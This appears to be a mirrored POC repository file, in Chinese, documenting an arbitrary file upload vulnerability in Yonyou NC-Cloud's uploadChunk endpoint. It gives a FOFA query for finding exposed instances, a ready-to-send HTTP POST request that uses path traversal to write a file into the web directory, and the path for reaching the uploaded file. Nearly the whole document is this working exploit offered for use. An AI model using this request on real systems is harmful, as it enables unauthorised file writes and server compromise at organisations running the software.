mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
22 lines
419 B
Markdown
22 lines
419 B
Markdown
|
## 用友NC-Cloud uploadChunk 任意文件上传漏洞
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
app="用友-NC-Cloud"
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## POC
|
||
|
|
```
|
||
|
|
POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Content-Type: multipart/form-data;
|
||
|
|
Content-Disposition: form-data; name="file"; filename="test.txt"
|
||
|
|
{{randstr}}
|
||
|
|
--024ff46f71634a1c9bf8ec5820c26fa9--
|
||
|
|
|
||
|
|
```
|
||
|
|
|
||
|
|
文件上传路径访问
|
||
|
|
/nccloud/test.txt
|